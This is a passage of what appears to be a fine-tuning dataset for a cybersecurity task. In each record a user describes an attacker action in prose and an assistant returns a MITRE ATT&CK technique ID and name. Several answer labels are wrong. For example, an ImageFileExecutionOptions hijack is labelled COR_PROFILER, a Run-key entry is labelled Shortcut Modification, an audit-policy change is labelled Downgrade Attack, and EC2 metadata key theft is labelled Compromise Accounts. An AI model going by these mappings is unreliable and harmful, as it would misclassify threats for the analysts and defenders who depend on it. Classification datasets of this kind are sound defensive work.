                "role": "user",
                "content": "Adversaries queried Microsoft Exchange Web Services (EWS) to collect email metadata and attachments."
            },
            {
                "role": "assistant",
                "content": "T1213 - Data from Information Repositories"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker used \"kubectl run\" to deploy a malicious pod that executed a credential dumping tool."
            },
            {
                "role": "assistant",
                "content": "T1609 - Container Administration Command"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Compromised cloud instances are scanned for stored SSL/TLS certificates, which are then harvested and used to spoof legitimate cloud services."
            },
            {
                "role": "assistant",
                "content": "T1588.004 - Obtain Capabilities: Digital Certificates"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A rogue automation tool with stolen credentials periodically syncs the victim's Mercurial repositories to an external server."
            },
            {
                "role": "assistant",
                "content": "T1213.003 - Data from Information Repositories: Code Repositories"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using the GitHub API, the hacker enumerates repositories to find .env files containing database credentials."
            },
            {
                "role": "assistant",
                "content": "T1593.003 - Search Open Websites/Domains: Code Repositories"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors deploy a rogue proxy service inside the target environment to conceal command and control communications."
            },
            {
                "role": "assistant",
                "content": "T1090.001 - Proxy: Internal Proxy"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker modifies the “ImageFileExecutionOptions” for “svchost.exe” to redirect execution to their malicious DLL."
            },
            {
                "role": "assistant",
                "content": "T1574.012 - Hijack Execution Flow: COR_PROFILER"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker concealed a malicious PowerShell script inside a harmless-looking JPEG image, which was later extracted by the malware to execute."
            },
            {
                "role": "assistant",
                "content": "T1027.003 - Obfuscated Files or Information: Steganography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker leverages a VBScript to bypass application whitelisting by using Windows Scripting Host whitelisted binaries."
            },
            {
                "role": "assistant",
                "content": "T1059.005 - Command and Scripting Interpreter: Visual Basic"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder manipulates account attributes to enable Kerberos delegation for a compromised account."
            },
            {
                "role": "assistant",
                "content": "T1098 - Account Manipulation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers exploit a vulnerability in the LastPass browser extension to retrieve the user's vault contents."
            },
            {
                "role": "assistant",
                "content": "T1555.005 - Credentials from Password Stores: Password Managers"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor leverages Windows Management Instrumentation (WMI) to execute code stored in memory, never touching the file system."
            },
            {
                "role": "assistant",
                "content": "T1027.011 - Obfuscated Files or Information: Fileless Storage"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An espionage group purchases a trove of engineering blueprints related to the target's new product line from a covert data vendor."
            },
            {
                "role": "assistant",
                "content": "T1597.002 - Search Closed Sources: Purchase Technical Data"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware installs a Linux cron job that executes a curl command nightly, uploading compressed logs to an attacker-controlled FTP endpoint."
            },
            {
                "role": "assistant",
                "content": "T1029 - Scheduled Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries abuse a compromised Azure Managed Identity token to access key vault secrets without user interaction."
            },
            {
                "role": "assistant",
                "content": "T1550.001 - Use Alternate Authentication Material: Application Access Token"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware creates a secure channel by exchanging public keys with the attacker’s server before sending commands."
            },
            {
                "role": "assistant",
                "content": "T1573.002 - Encrypted Channel: Asymmetric Cryptography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker leverages a compromised private key to forge signed authentication tokens for a cloud service."
            },
            {
                "role": "assistant",
                "content": "T1606 - Forge Web Credentials"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code is used to corrupt the system's firmware, rendering the hardware inoperable."
            },
            {
                "role": "assistant",
                "content": "T1495 - Firmware Corruption"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker converts binary data to hexadecimal representation before storing it in the Windows Registry."
            },
            {
                "role": "assistant",
                "content": "T1132 - Data Encoding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An exploit targets the DCOM activation of the \"WinRM\" service, allowing remote code execution via crafted SOAP requests."
            },
            {
                "role": "assistant",
                "content": "T1559.001 - Inter-Process Communication: Component Object Model"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious script calls the GCP IAM API to create a service account with project editor role."
            },
            {
                "role": "assistant",
                "content": "T1136.003 - Create Account: Cloud Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By hijacking a TeamViewer session, the threat actor gains full access to the victim's workstation without prompting for credentials."
            },
            {
                "role": "assistant",
                "content": "T1563 - Remote Service Session Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The virus copies keylog files into a hidden directory on the victim's desktop."
            },
            {
                "role": "assistant",
                "content": "T1074.001 - Data Staged: Local Data Staging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware accesses Firefox's saved passwords by decrypting the key4.db and logins.json files on the compromised machine."
            },
            {
                "role": "assistant",
                "content": "T1555.003 - Credentials from Password Stores: Credentials from Web Browsers"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A social engineer dials a help‑desk number, impersonates a vendor, and convinces the technician to disclose privileged account passwords during the call."
            },
            {
                "role": "assistant",
                "content": "T1566.004 - Phishing: Spearphishing Voice"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A post-exploitation tool executed `history -d 1` repeatedly to remove specific entries from the shell history."
            },
            {
                "role": "assistant",
                "content": "T1070.003 - Indicator Removal: Clear Command History"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Remote System Discovery was performed by executing a bash script that parses /etc/hosts and DNS zone files to enumerate accessible servers."
            },
            {
                "role": "assistant",
                "content": "T1018 - Remote System Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "External entity modifies the corporate landing page to display a fake advertisement."
            },
            {
                "role": "assistant",
                "content": "T1491.002 - Defacement: External Defacement"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious actors manipulate the stored checksum values in software update manifests to bypass integrity verification."
            },
            {
                "role": "assistant",
                "content": "T1565.001 - Data Manipulation: Stored Data Manipulation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor leverages Kubernetes to schedule a pod that contains ransomware payload."
            },
            {
                "role": "assistant",
                "content": "T1610 - Deploy Container"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker abuses the Services Registry Permissions weakness to set a service's Start type to automatic with a malicious command."
            },
            {
                "role": "assistant",
                "content": "T1574.011 - Hijack Execution Flow: Services Registry Permissions Weakness"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The compromised host posted stolen credentials to a public Pastebin site via HTTP POST without encryption."
            },
            {
                "role": "assistant",
                "content": "T1048.003 - Exfiltration Over Alternative Protocol: Exfiltration Over Unencrypted Non-C2 Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat group uses WMI and WinRM to transfer a ransomware payload to multiple domain-joined Windows machines."
            },
            {
                "role": "assistant",
                "content": "T1021.006 - Remote Services: Windows Remote Management"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries extract cached domain password hashes from the Windows registry's NL$KM and LSA Secrets to reuse them for lateral movement."
            },
            {
                "role": "assistant",
                "content": "T1003.005 - OS Credential Dumping: Cached Domain Credentials"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor establishes a WMI event consumer that activates a hidden backdoor whenever the system's CPU usage exceeds 80%."
            },
            {
                "role": "assistant",
                "content": "T1546.003 - Event Triggered Execution: Windows Management Instrumentation Event Subscription"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By creating a shortcut that points to Verclsid, the attacker causes the system binary to execute a hidden malicious DLL."
            },
            {
                "role": "assistant",
                "content": "T1218.012 - System Binary Proxy Execution: Verclsid"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors add a rule to the iptables firewall on a Linux host that allows inbound traffic from a known C2 IP address."
            },
            {
                "role": "assistant",
                "content": "T1562.004 - Impair Defenses: Disable or Modify System Firewall"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker abuses the Windows COM component Verclsid.exe to execute malicious PowerShell scripts by passing them as command-line arguments, leveraging the System Binary Proxy Execution technique."
            },
            {
                "role": "assistant",
                "content": "T1218.012 - System Binary Proxy Execution: Verclsid"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An espionage group used a crafted XSL file in a phishing email attachment; opening it caused the victim's XML parser to run embedded .NET code."
            },
            {
                "role": "assistant",
                "content": "T1220 - XSL Script Processing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary reads the victim's .bash_history file to discover commands that include hard-coded credentials."
            },
            {
                "role": "assistant",
                "content": "T1552.003 - Unsecured Credentials: Bash History"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary extracts stored iOS passwords by dumping the Securityd process memory."
            },
            {
                "role": "assistant",
                "content": "T1555.002 - Credentials from Password Stores: Securityd Memory"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Conducting reconnaissance on a cloud-based service by identifying storage buckets and publicly accessible data."
            },
            {
                "role": "assistant",
                "content": "T1596 - Search Open Technical Databases"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An actor extracts mail data from the local Apple Mail directory on macOS systems."
            },
            {
                "role": "assistant",
                "content": "T1114.001 - Email Collection: Local Email Collection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary leveraged a supply chain attack to replace the device's firmware with a compromised version that runs during pre-OS boot."
            },
            {
                "role": "assistant",
                "content": "T1542.001 - Pre-OS Boot: System Firmware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker modifies the .htaccess file to redirect all traffic to a custom defaced page hosted on the same server."
            },
            {
                "role": "assistant",
                "content": "T1491.002 - Defacement: External Defacement"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker drops a DLL into the Windows Startup folder to be loaded each boot."
            },
            {
                "role": "assistant",
                "content": "T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor uses process hollowing to inject code into a trusted svchost.exe process, allowing the malware to run with system privileges."
            },
            {
                "role": "assistant",
                "content": "T1055.012 - Process Injection: Process Hollowing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The actor uses a compromised Slack webhook to send stolen data, effectively using a legitimate messaging web service for C2."
            },
            {
                "role": "assistant",
                "content": "T1102 - Web Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat group uses a compromised video streaming site to deliver a drive‑by payload that installs a keylogger on viewers’ devices."
            },
            {
                "role": "assistant",
                "content": "T1608.004 - Stage Capabilities: Drive‑by Target"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary employs a script that sets file timestamps to a date prior to the breach."
            },
            {
                "role": "assistant",
                "content": "T1070.006 - Indicator Removal: Timestomp"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware leverages a legitimate cloud storage service to upload and download C2 payloads."
            },
            {
                "role": "assistant",
                "content": "T1567 - Exfiltration Over Web Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker runs ProcDump against LSASS to capture credential material for offline cracking."
            },
            {
                "role": "assistant",
                "content": "T1003.001 - OS Credential Dumping: LSASS Memory"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker queries Active Directory to enumerate trusted domain relationships and identify external domains the victim trusts."
            },
            {
                "role": "assistant",
                "content": "T1482 - Domain Trust Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries exploit a misconfigured IAM role to adjust the CPU and memory allocations of running cloud VMs, degrading performance of legitimate services."
            },
            {
                "role": "assistant",
                "content": "T1578 - Modify Cloud Compute Infrastructure"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The ransomware creates a hidden folder called 'temp' and stores encrypted files there, using file system attributes to conceal it."
            },
            {
                "role": "assistant",
                "content": "T1564.001 - Hide Artifacts: Hidden Files and Directories"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker updates the Outlook Home Page entry in the user's profile to a malicious URL that serves a malicious Office document."
            },
            {
                "role": "assistant",
                "content": "T1137.004 - Office Application Startup: Outlook Home Page"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion involved sending a malicious .pdf attachment claiming to be a legal notice, which triggered an exploit chain to install credential dumping tools."
            },
            {
                "role": "assistant",
                "content": "T1566.001 - Phishing: Spearphishing Attachment"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary performed an SNMP MIB extraction to gather credentials and interface settings from routers."
            },
            {
                "role": "assistant",
                "content": "T1602.001 - Data from Configuration Repository: SNMP (MIB Dump)"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker scrapes the company's public website and LinkedIn pages to compile a list of current employee names."
            },
            {
                "role": "assistant",
                "content": "T1589.003 - Gather Victim Identity Information: Employee Names"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The executable scans for a unique file fingerprint associated with the target environment and ceases operation if absent."
            },
            {
                "role": "assistant",
                "content": "T1480 - Execution Guardrails"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion leverages the unencrypted passwords in Group Policy Preferences to harvest local administrator accounts across the network."
            },
            {
                "role": "assistant",
                "content": "T1552.006 - Unsecured Credentials: Group Policy Preferences"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An intrusion campaign utilizes DCOM to bypass firewall restrictions and establish a persistent backdoor on Windows servers."
            },
            {
                "role": "assistant",
                "content": "T1021.003 - Remote Services: Distributed Component Object Model"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary used stolen AWS access keys to list and download objects from an improperly configured S3 bucket containing sensitive logs."
            },
            {
                "role": "assistant",
                "content": "T1530 - Data from Cloud Storage"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker steals AWS access keys from a compromised EC2 instance by querying the instance metadata service."
            },
            {
                "role": "assistant",
                "content": "T1586.003 - Compromise Accounts: Cloud Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A hacker group gains access to a SaaS platform’s web interface, uploading a malicious plugin that provides persistent backdoor access."
            },
            {
                "role": "assistant",
                "content": "T1584.006 - Compromise Infrastructure: Web Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A Windows shortcut was created in the system startup folder that runs a hidden malicious script with elevated privileges."
            },
            {
                "role": "assistant",
                "content": "T1547.009 - Boot or Logon Autostart Execution: Shortcut Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion employs a signed system script to proxy the execution of a remote command, bypassing application whitelisting."
            },
            {
                "role": "assistant",
                "content": "T1216 - System Script Proxy Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion used shortcut modification to persist by creating a link in the HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run registry key that references a malicious executable."
            },
            {
                "role": "assistant",
                "content": "T1547.009 - Boot or Logon Autostart Execution: Shortcut Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor registers a malicious time provider service that loads during system boot, granting persistence."
            },
            {
                "role": "assistant",
                "content": "T1547.003 - Boot or Logon Autostart Execution: Time Providers"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Operator runs dsquery group to list all security groups in the forest."
            },
            {
                "role": "assistant",
                "content": "T1069 - Permission Groups Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor captures a Kerberos ticket from process memory and replays it to gain unauthorized access to services that trust the ticket."
            },
            {
                "role": "assistant",
                "content": "T1550.003 - Use Alternate Authentication Material: Pass the Ticket"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A phishing campaign delivers a payload that changes the Windows security audit policy to a less verbose level, reducing the amount of logged security events."
            },
            {
                "role": "assistant",
                "content": "T1562.010 - Impair Defenses: Downgrade Attack"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A hacker retrieves certificate information from public CT logs and DNS certificate databases to identify targets."
            },
            {
                "role": "assistant",
                "content": "T1596.003 - Search Open Technical Databases: Digital Certificates"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary employs a custom DNS over HTTPS (DoH) tunnel to send and receive C2 data."
            },
            {
                "role": "assistant",
                "content": "T1071.004 - Application Layer Protocol: DNS"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion technique involves calling mshta.exe with a remote URL to run an HTML Application that installs a backdoor."
            },
            {
                "role": "assistant",
                "content": "T1218.005 - System Binary Proxy Execution: Mshta"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By abusing the COR_PROFILER environment variable, the malicious actor forces the .NET runtime to load a harmful profiler, enabling arbitrary code execution."
            },
            {
                "role": "assistant",
                "content": "T1574.012 - Hijack Execution Flow: COR_PROFILER"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
